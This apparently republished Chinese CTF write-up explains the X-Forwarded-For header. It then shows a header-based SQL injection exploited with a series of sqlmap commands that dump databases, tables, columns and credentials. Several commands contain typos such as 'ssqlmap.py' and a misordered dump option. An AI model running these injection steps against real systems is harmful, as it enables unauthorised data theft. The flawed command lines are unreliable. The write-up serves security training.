X-FORWARDED-FOR
首先,X-Forwarded-For 是一個 HTTP 擴展頭部,HTTP/1.1(RFC 2616)協議并沒有對它的定義,它最開始是由 Squid 這個快取代理軟體引入,用來表示 HTTP 請求端真實 IP,如今它已經成為事實上的標準,被各大 HTTP 代理、負載均衡等轉發服務廣泛使用,并被寫入 RFC 7239(Forwarded HTTP Extension)標準之中,
XFF 的內容由「英文逗號 + 空格」隔開的多個部分組成,最開始的是離服務端最遠的設備 IP,然后是每一級代理設備的 IP,
如果一個 HTTP 請求到達服務器之前,經過了三個代理 Proxy1、Proxy2、Proxy3,IP 分別為 IP1、IP2、IP3,用戶真實 IP 為 IP0,那么按照 XFF 標準,服務端最侄訓收到以下資訊:
X-Forwarded-For: IP0, IP1, IP2
Proxy3 直連服務器,它會給 XFF 追加 IP2,表示它是在幫 Proxy2 轉發請求,串列中并沒有 IP3,IP3 可以在服務端通過 Remote Address 欄位獲得,我們知道 HTTP 連接基于 TCP 連接,HTTP 協議中沒有 IP 的概念,Remote Address 來自 TCP 連接,表示與服務端建立 TCP 連接的設備 IP,在這個例子里就是 IP3,
Remote Address 無法偽造,因為建立 TCP 連接需要三次握手,如果偽造了源 IP,無法建立 TCP 連接,更不會有后面的 HTTP 請求,不同語言獲取 Remote Address 的方式不一樣,例如 php 是 $_SERVER["REMOTE_ADDR"],
進入網站發現只有一個登陸界面,任意輸入用戶名密碼登陸報錯并且彈出訪問ip,

用burp抓包沒發現X-Forwarded-For,由于題目提到X-Forwarded-For,添加測驗

回顯顯示ip地址,故猜測后端是讀取了x-forwarded-for的資料,
將x-forwarded-for的值改為*并保存為12.txt檔案放在sqlmap檔案目錄下

使用sqlmap注入爆破
爆資料庫
python sqlmap.py -r 12.txt --dbs --batch

爆表名
python ssqlmap.py -r12.txt -D 資料庫名 --tables --batch

爆列名
python ssqlmap.py -r12.txt -D 資料庫名 -T 表名 --columns --batch

報資料
python ssqlmap.py -r12.txt -D 資料庫名 -T 表名 -C dump 資料,資料,資料 --batch

獲取賬號密碼成功登入得到key

*注:爆表名的時候在--table后必須加s 不加會報錯

爆資料的時候在dump后把資料用單引號會報錯
*
參考sqlmap命令詳細:https://www.cnblogs.com/ichunqiu/p/5805108.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/5376.html
標籤:訊息安全
上一篇:南郵CTF - Writeup
